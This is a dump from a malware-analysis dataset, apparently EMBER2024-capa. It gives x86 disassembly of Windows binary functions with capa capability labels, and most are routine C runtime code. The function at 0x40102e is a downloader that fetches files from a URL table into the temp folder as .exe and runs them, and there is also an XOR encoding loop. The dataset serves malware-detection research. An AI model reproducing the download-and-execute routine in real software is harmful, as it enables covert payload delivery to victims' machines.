joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1015df5e
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x101b6f10]
push edi
xor edi, edi
cmp dword [ebp + 0x3b0], edi
mov dword [ebp + 0x39c], eax
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x7c], edi
jne 0x1015df8f
xor eax, eax
jmp 0x1015e118
mov eax, dword [ebp + 0x3a8]
push ebx
mov ebx, dword [ebp + 0x3a8]
and eax, 0x1f
sar ebx, 5
push esi
lea esi, [eax + eax*8]
lea ebx, [ebx*4 + 0x10a59b00]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x1015dfcb
push 2
push edi
push edi
push dword [ebp + 0x3a8]
call fcn.10168bd7
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x1015e0a6
cmp dword [ebp + 0x3b0], edi
mov eax, dword [ebp + 0x3ac]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x6c], edi
jbe 0x1015e0e4
mov ecx, dword [ebp - 0x74]
sub ecx, dword [ebp + 0x3ac]
lea eax, [ebp - 0x68]
mov dword [ebp - 0x70], edi
cmp ecx, dword [ebp + 0x3b0]
jae 0x1015e02f
mov edx, dword [ebp - 0x74]
inc dword [ebp - 0x74]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x1015e020
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 0x70]
mov byte [eax], dl
inc eax
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x400
jl 0x1015e000
mov edi, eax
lea eax, [ebp - 0x68]
sub edi, eax
push 0
lea eax, [ebp - 0x80]
push eax
push edi
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1015e06f
mov eax, dword [ebp - 0x80]
add dword [ebp - 0x78], eax
cmp eax, edi
jl 0x1015e078
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp + 0x3ac]
xor edi, edi
cmp eax, dword [ebp + 0x3b0]
jb 0x1015dff1
jmp 0x1015e07a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
xor edi, edi
mov eax, dword [ebp - 0x78]
cmp eax, edi
jne 0x1015e113
cmp dword [ebp - 0x6c], edi
je 0x1015e0e4
push 5
pop esi
cmp dword [ebp - 0x6c], esi
jne 0x1015e0d9
call fcn.10162890
mov dword [eax], 9
call fcn.10162899
mov dword [eax], esi
jmp 0x1015e10e
push edi
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp + 0x3b0]
push dword [ebp + 0x3ac]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1015e0ce
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x78], eax
jmp 0x1015e07a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
jmp 0x1015e07a
push dword [ebp - 0x6c]
call fcn.101628a2
pop ecx
jmp 0x1015e10e
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x1015e0fc
mov eax, dword [ebp + 0x3ac]
cmp byte [eax], 0x1a
jne 0x1015e0fc
xor eax, eax
jmp 0x1015e116
call fcn.10162890
mov dword [eax], 0x1c
call fcn.10162899
mov dword [eax], edi
or eax, 0xffffffff
jmp 0x1015e116
sub eax, dword [ebp - 0x7c]
pop esi
pop ebx
mov ecx, dword [ebp + 0x39c]
pop edi
call fcn.101581be
add ebp, 0x3a0
leave
ret
Function at 0x10168088
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x101b6f10]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x101b7c60]
je 0x101680bd
inc eax
cmp eax, 0x13
jb 0x101680ae
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x101b7c60]
jne 0x101681e3
mov eax, dword [0x10a59704]
cmp eax, 1
je 0x101681bb
cmp eax, edx
jne 0x101680ed
cmp dword [0x101b7274], 1
je 0x101681bb
cmp ecx, 0xfc
je 0x101681e3
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10168123
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.10158530
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.10158420
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x10168157
mov eax, edi
push eax
call fcn.10158420
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x1018d500
push edi
call fcn.10159390
add esp, 0x10
push edi
call fcn.10158420
push dword [esi + 0x101b7c64]
mov ebx, eax
call fcn.10158420
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.10158150
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.10158530
push edi
push ebx
call fcn.10158540
push 0x10190508
push ebx
call fcn.10158540
push dword [esi + 0x101b7c64]
push ebx
call fcn.10158540
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.1016920d
add esp, 0x2c
jmp 0x101681e3
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x101b7c64]
push dword [esi]
call fcn.10158420
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.101581be
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret

Function at 0x10168e12
Capabilities:
Get common file path

Disassembly:
push 0x120
push 0x10195b58
call fcn.10157ff0
mov eax, dword [0x101b6f10]
mov dword [ebp - 0x1c], eax
lea edi, [ebp - 0x124]
and dword [ebp - 0x128], 0
mov eax, edi
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, eax
mov dword [ebp - 0x12c], esi
cmp esi, 0x104
jle 0x10168eb6
and dword [ebp - 4], 0
lea eax, [esi + 1]
add eax, 3
and eax, 0xfffffffc
call fcn.10158150
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x130], edi
jmp 0x10168ea3
or dword [ebp - 4], 0xffffffff
test esi, esi
je 0x10168eb6
push edi
inc esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x10168ed1
cmp byte [edi + 1], 0x3a
jne 0x10168ed1
movzx eax, byte [edi]
push eax
call fcn.1016be86
pop ecx
mov ebx, eax
sub ebx, 0x40
cmp dword [ebp - 0x128], 0
je 0x10168ee1
push edi
call fcn.10157e99
pop ecx
mov eax, ebx
lea esp, [ebp - 0x13c]
mov ecx, dword [ebp - 0x1c]
call fcn.101581be
call fcn.1015802b
ret
Function at 0x10168feb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1016900b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.101628a2
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x1016902e
test byte [esp + 8], 2
je 0x1016902e
call fcn.10162890
mov dword [eax], 0xd
call fcn.10162899
mov dword [eax], 5
jmp 0x10169007
xor eax, eax
ret

Function at 0x10169031
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.10158150
mov eax, dword [0x101b6f10]
push ebx
push esi
push 1
xor esi, esi
push esi
push dword [ebp + 8]
mov dword [ebp - 4], eax
call fcn.1015e1d7
or ebx, 0xffffffff
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x1008], eax
je 0x10169164
push 2
push esi
push dword [ebp + 8]
call fcn.1015e1d7
add esp, 0xc
cmp eax, ebx
je 0x10169164
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x10169104
mov ebx, 0x1000
push ebx
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.10158270
push 0x8000
push dword [ebp + 8]
call fcn.1016bea8
add esp, 0x14
mov dword [ebp - 0x100c], eax
cmp edi, ebx
mov eax, ebx
jge 0x101690ba
mov eax, edi
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 8]
call fcn.1015df5e
add esp, 0xc
cmp eax, 0xffffffff
je 0x101690da
sub edi, eax
test edi, edi
jg 0x101690b2
jmp 0x101690f2
call fcn.10162899
cmp dword [eax], 5
jne 0x101690ef
call fcn.10162890
mov dword [eax], 0xd
or esi, 0xffffffff
push dword [ebp - 0x100c]
push dword [ebp + 8]
call fcn.1016bea8
pop ecx
pop ecx
jmp 0x1016914c
jge 0x1016914c
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1015e1d7
push dword [ebp + 8]
call fcn.10168958
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, ebx
jne 0x1016914c
call fcn.10162890
mov dword [eax], 0xd
call fcn.10162899
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
push 0
push dword [ebp - 0x1008]
push dword [ebp + 8]
call fcn.1015e1d7
add esp, 0xc
mov eax, esi
pop edi
jmp 0x10169166
mov eax, ebx
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.101581be
leave
ret
Function at 0x1016920d
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x10a59abc], ebx
push esi
push edi
jne 0x1016928d
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x101692c8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10195bf4
push edi
call esi
test eax, eax
mov dword [0x10a59abc], eax
je 0x101692c8
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x10a59ac0], eax
call esi
cmp dword [0x10a596b8], 2
mov dword [0x10a59ac4], eax
jne 0x1016928d
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x10a59acc], eax
je 0x1016928d
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x10a59ac8], eax
mov eax, dword [0x10a59ac8]
test eax, eax
je 0x101692d2
call eax
test eax, eax
je 0x101692b9
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x10a59acc]
test eax, eax
je 0x101692b9
test byte [ebp - 8], 1
jne 0x101692d2
cmp dword [0x10a596c4], 4
jb 0x101692cc
or byte [ebp + 0x12], 0x20
jmp 0x101692f1
xor eax, eax
jmp 0x10169301
or byte [ebp + 0x12], 4
jmp 0x101692f1
mov eax, dword [0x10a59ac0]
test eax, eax
je 0x101692f1
call eax
mov ebx, eax
test ebx, ebx
je 0x101692f1
mov eax, dword [0x10a59ac4]
test eax, eax
je 0x101692f1
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x10a59abc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1016bc55
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
je 0x1016bc83
add al, 0x40
mov byte [ebp + 8], al
lea eax, [ebp + 8]
push eax
mov byte [ebp + 9], 0x3a
mov byte [ebp + 0xa], 0x5c
mov byte [ebp + 0xb], 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test eax, eax
je 0x1016bc88
cmp eax, 1
je 0x1016bc88
xor eax, eax
inc eax
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1016bc8c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x101b6f10]
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
mov dword [ebp - 4], eax
je 0x1016bd04
push ebx
call fcn.1016bc55
test eax, eax
pop ecx
jne 0x1016bcd3
call fcn.10162899
mov dword [eax], 0xf
call fcn.10162890
mov dword [eax], 0xd
xor eax, eax
mov ecx, dword [ebp - 4]
pop ebx
call fcn.101581be
leave
ret
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x108]
push eax
push 0x104
lea eax, [ebp + 8]
add bl, 0x40
push eax
mov byte [ebp + 8], bl
mov byte [ebp + 9], 0x3a
mov byte [ebp + 0xa], 0x2e
mov byte [ebp + 0xb], 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
jmp 0x1016bd16
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x1016bcc6
inc eax
cmp eax, 0x104
ja 0x1016bcc6
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x1016bd4e
cmp eax, dword [ebp + 0x10]
jg 0x1016bd31
mov eax, dword [ebp + 0x10]
push eax
call fcn.10157e87
pop ecx
mov ecx, eax
test ecx, ecx
jne 0x1016bd63
call fcn.10162890
mov dword [eax], 0xc
jmp 0x1016bcc6
cmp eax, dword [ebp + 0x10]
jle 0x1016bd63
call fcn.10162890
mov dword [eax], 0x22
jmp 0x1016bcc6
lea eax, [ebp - 0x108]
push eax
push ecx
call fcn.10158530
pop ecx
pop ecx
jmp 0x1016bcc8
Function at 0x1016cc07
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
cmp eax, ebx
push edi
mov dword [ebp - 0x10], ebx
jne 0x1016cc20
or eax, 0xffffffff
jmp 0x1016cc81
push esi
mov esi, dword [eax]
cmp esi, ebx
mov dword [ebp - 4], esi
je 0x1016cc7d
push 0x3d
push esi
call fcn.101584ab
cmp eax, ebx
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
je 0x1016cc7d
cmp esi, eax
je 0x1016cc7d
xor ecx, ecx
cmp byte [eax + 1], bl
mov eax, dword [0x10a596d8]
sete cl
cmp eax, dword [0x10a596dc]
mov dword [ebp - 8], ecx
jne 0x1016cc63
mov edi, eax
call fcn.1016cba6
mov dword [0x10a596d8], eax
cmp eax, ebx
jne 0x1016ccbc
cmp dword [ebp + 0xc], ebx
je 0x1016cc85
cmp dword [0x10a596e0], ebx
je 0x1016cc85
call fcn.1016a72d
test eax, eax
je 0x1016ccbc
or eax, 0xffffffff
pop esi
pop edi
pop ebx
leave
ret
cmp dword [ebp - 8], ebx
je 0x1016cc8e
xor eax, eax
jmp 0x1016cc80
push 4
call fcn.10157e87
cmp eax, ebx
pop ecx
mov dword [0x10a596d8], eax
je 0x1016cc7d
mov dword [eax], ebx
cmp dword [0x10a596e0], ebx
jne 0x1016ccbc
push 4
call fcn.10157e87
cmp eax, ebx
pop ecx
mov dword [0x10a596e0], eax
je 0x1016cc7d
mov dword [eax], ebx
mov edi, dword [ebp - 0xc]
sub edi, dword [ebp - 4]
push dword [ebp - 4]
mov esi, dword [0x10a596d8]
call fcn.1016cb59
mov edi, eax
cmp edi, ebx
pop ecx
jl 0x1016cd1d
cmp dword [esi], ebx
je 0x1016cd1d
lea esi, [esi + edi*4]
push dword [esi]
call fcn.10157e99
cmp dword [ebp - 8], ebx
pop ecx
jne 0x1016cd00
mov eax, dword [ebp - 4]
mov dword [esi], eax
mov eax, dword [ebp + 8]
mov dword [eax], ebx
jmp 0x1016cd5e
mov eax, dword [esi + 4]
mov dword [esi], eax
inc edi
add esi, 4
cmp dword [esi], ebx
jne 0x1016ccf7
mov eax, edi
shl eax, 2
push eax
push dword [0x10a596d8]
call fcn.1015edec
cmp eax, ebx
pop ecx
pop ecx
je 0x1016cd5e
jmp 0x1016cd59
cmp dword [ebp - 8], ebx
jne 0x1016cdc9
cmp edi, ebx
jge 0x1016cd2c
neg edi
lea eax, [edi*4 + 8]
push eax
push dword [0x10a596d8]
call fcn.1015edec
cmp eax, ebx
pop ecx
pop ecx
je 0x1016cc7d
mov edx, dword [ebp - 4]
lea ecx, [eax + edi*4]
mov dword [ecx], edx
mov dword [ecx + 4], ebx
mov ecx, dword [ebp + 8]
mov dword [ecx], ebx
mov dword [0x10a596d8], eax
cmp dword [ebp + 0xc], ebx
je 0x1016cdb3
push dword [ebp - 4]
call fcn.10158420
inc eax
inc eax
push eax
call fcn.10157e87
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
je 0x1016cdb3
push dword [ebp - 4]
push esi
call fcn.10158530
mov eax, esi
sub eax, dword [ebp - 4]
pop ecx
add eax, dword [ebp - 0xc]
pop ecx
mov ecx, dword [ebp - 8]
mov byte [eax], bl
inc eax
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
jne 0x1016cdac
or dword [ebp - 0x10], 0xffffffff
push esi
call fcn.10157e99
pop ecx
cmp dword [ebp - 8], ebx
je 0x1016cdc1
push dword [ebp - 4]
call fcn.10157e99
pop ecx
mov eax, dword [ebp - 0x10]
jmp 0x1016cc80
push dword [ebp - 4]
call fcn.10157e99
mov eax, dword [ebp + 8]
pop ecx
mov dword [eax], ebx
jmp 0x1016cc8a
Function at 0x1016cddc
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x10195c98
call fcn.10157ff0
xor edi, edi
xor ebx, ebx
inc ebx
cmp dword [0x10a59af4], edi
jne 0x1016ce20
push edi
push edi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1016ce0b
mov dword [0x10a59af4], ebx
jmp 0x1016ce20
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x1016ce20
mov dword [0x10a59af4], 2
mov eax, dword [0x10a59af4]
cmp eax, ebx
jne 0x1016ce40
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x1016cf03
cmp eax, 2
je 0x1016ce49
cmp eax, edi
jne 0x1016ce71
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x24], edi
cmp dword [ebp + 0x18], edi
jne 0x1016ce5c
mov eax, dword [0x10a5991c]
mov dword [ebp + 0x18], eax
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov dword [ebp - 0x20], eax
cmp eax, edi
jne 0x1016ce78
xor eax, eax
jmp 0x1016cf03
mov dword [ebp - 4], edi
add eax, 3
and eax, 0xfffffffc
call fcn.10158150
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [ebp - 0x28], esi
or dword [ebp - 4], 0xffffffff
jmp 0x1016ceab
cmp esi, edi
jne 0x1016cec1
push dword [ebp - 0x20]
call fcn.10157e87
pop ecx
mov esi, eax
cmp esi, edi
je 0x1016ce71
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x20]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x1016cef4
cmp dword [ebp + 0x14], edi
jne 0x1016cede
push edi
push edi
jmp 0x1016cee4
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push esi
push ebx
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x24], edi
je 0x1016cf00
push esi
call fcn.10157e99
pop ecx
mov eax, dword [ebp - 0x1c]
lea esp, [ebp - 0x34]
call fcn.1015802b
ret
Function at 0x1016cf0c
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x10195ca8
call fcn.10157ff0
xor esi, esi
cmp dword [0x10a59af8], esi
jne 0x1016cf50
push esi
push esi
xor edi, edi
inc edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1016cf3b
mov dword [0x10a59af8], edi
jmp 0x1016cf50
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x1016cf50
mov dword [0x10a59af8], 2
mov eax, dword [0x10a59af8]
cmp eax, 2
je 0x1016d031
cmp eax, esi
je 0x1016d031
cmp eax, 1
jne 0x1016cf95
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
cmp dword [ebp + 0x18], esi
jne 0x1016cf7e
mov eax, dword [0x10a5991c]
mov dword [ebp + 0x18], eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
jne 0x1016cf9c
xor eax, eax
jmp 0x1016d043
mov dword [ebp - 4], esi
lea eax, [ebx + ebx]
add eax, 3
and eax, 0xfffffffc
call fcn.10158150
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x28], edi
or dword [ebp - 4], 0xffffffff
jmp 0x1016cfd2
cmp edi, esi
jne 0x1016cfed
lea eax, [ebx + ebx]
push eax
call fcn.10157e87
pop ecx
mov edi, eax
cmp edi, esi
je 0x1016cf95
mov dword [ebp - 0x20], 1
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1016d020
push esi
push esi
cmp dword [ebp + 0x14], esi
jne 0x1016d00a
push esi
push esi
jmp 0x1016d010
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push edi
push esi
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], esi
je 0x1016d02c
push edi
call fcn.10157e99
pop ecx
mov eax, dword [ebp - 0x1c]
jmp 0x1016d043
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea esp, [ebp - 0x34]
call fcn.1015802b
ret

Function at 0x40894f
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4085d8
call fcn.00408971
dec esi
xor dword [edi], edx
inc edi
sub esi, esi
or esi, ebx
cmp edi, eax
jne fcn.0040894f
mov ebx, 0xa569a8b6
ret
Function at 0x40102e
Capabilities:
Create process on windows
Download url
Get common file path
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
lea eax, [ebp - 0x260]
push esi
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
xor edi, edi
test eax, eax
je 0x40112c
mov esi, edi
lea eax, [ebp - 0x15c]
push eax
push edi
push 0x402730
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x40111d
push str..exe
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRenameExtensionA]
test eax, eax
je 0x40111d
push edi
push edi
lea eax, [ebp - 0x15c]
push eax
push dword [esi + 0x402030]
push edi
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x40111d
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
cmp eax, 1
jne 0x40111d
cmp dword [ebp - 4], edi
je 0x4010cd
cmp dword [ebp - 4], 6
jne 0x40111d
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathQuoteSpacesA]
push 0x40
lea eax, [ebp - 0x54]
push edi
push eax
call fcn.00401000
add esp, 0xc
mov dword [ebp - 0x58], 0x44
lea eax, [ebp - 0x14]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x14], xmm0
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 0x8000000
push edi
push edi
push edi
lea eax, [ebp - 0x15c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, 1
je 0x40112c
add esi, 4
cmp esi, 0xd4
jb 0x401057
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x11b10c0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Manually build aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x11db520]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ecx, ecx
mov al, 1
push edi
lea ebx, [ebx]
movzx edx, al
mov byte [ebp + edx - 0x104], cl
mov dl, al
and dl, 0x80
mov byte [ebp + ecx - 0x204], al
inc ecx
neg dl
sbb dl, dl
mov bl, al
and dl, 0x1b
add bl, bl
xor dl, bl
xor al, dl
cmp ecx, 0x100
jl 0x11b10e0
mov al, 1
mov ecx, 0x121f380
movzx edx, al
shl edx, 0x18
mov dword [ecx], edx
mov dl, al
and dl, 0x80
add ecx, 4
neg dl
sbb dl, dl
and dl, 0x1b
add al, al
xor al, dl
cmp ecx, 0x121f3a8
jl 0x11b1115
mov dword [0x121e780], 0x63
mov dword [0x122194c], 0
mov edx, 1
jmp 0x11b1160
movzx eax, byte [ebp + edx - 0x104]
lea ecx, [ebp - 0x105]
sub ecx, eax
mov cl, byte [ecx]
mov al, cl
rol al, 1
xor cl, al
rol al, 1
xor cl, al
rol al, 1
xor cl, al
rol al, 1
xor al, cl
xor al, 0x63
movzx eax, al
mov dword [edx*4 + 0x121e780], eax
mov dword [eax*4 + 0x12217c0], edx
inc edx
cmp edx, 0x100
jl 0x11b1160
xor ecx, ecx
mov dl, byte [ecx + 0x121e780]
mov al, dl
and al, 0x80
neg al
sbb al, al
and al, 0x1b
mov bl, dl
add bl, bl
xor al, bl
movzx esi, al
movzx edx, dl
mov eax, esi
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, esi
xor eax, edx
mov dword [ecx + 0x12213c0], eax
ror eax, 8
mov dword [ecx + 0x1220fc0], eax
ror eax, 8
mov dword [ecx + 0x1220bc0], eax
ror eax, 8
mov dword [ecx + 0x12207c0], eax
mov al, byte [ecx + 0x12217c0]
test al, al
je 0x11b126f
movzx edx, al
movzx esi, byte [ebp + edx - 0x104]
movzx eax, byte [ebp - 0xf9]
add eax, esi
cdq
mov edi, 0xff
idiv edi
movzx eax, byte [ebp + edx - 0x204]
mov dword [ebp - 0x208], eax
movzx eax, byte [ebp - 0xf7]
add eax, esi
cdq
idiv edi
movzx eax, byte [ebp - 0xfb]
add eax, esi
movzx ebx, byte [ebp + edx - 0x204]
cdq
idiv edi
movzx eax, byte [ebp - 0xf6]
add eax, esi
mov esi, 0xff
movzx edi, byte [ebp + edx - 0x204]
cdq
idiv esi
movzx eax, byte [ebp + edx - 0x204]
mov edx, dword [ebp - 0x208]
jmp 0x11b1277
xor edx, edx
xor ebx, ebx
xor edi, edi
xor eax, eax
shl eax, 8
xor eax, edi
shl eax, 8
xor eax, ebx
shl eax, 8
xor eax, edx
mov dword [ecx + 0x12203c0], eax
ror eax, 8
mov dword [ecx + 0x121ffc0], eax
ror eax, 8
mov dword [ecx + 0x121ef80], eax
ror eax, 8
mov dword [ecx + 0x121eb80], eax
add ecx, 4
cmp ecx, 0x400
jl 0x11b11a2
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.011c13cb
mov esp, ebp
pop ebp
ret
Function at 0x11b3470
Capabilities:
Hash data using sha256

Disassembly:
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0x6a09e667
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0x3c6ef372
mov dword [eax + 0x14], 0xa54ff53a
mov dword [eax + 0x18], 0x510e527f
mov dword [eax + 0x1c], 0x9b05688c
mov dword [eax + 0x20], 0x1f83d9ab
mov dword [eax + 0x24], 0x5be0cd19
ret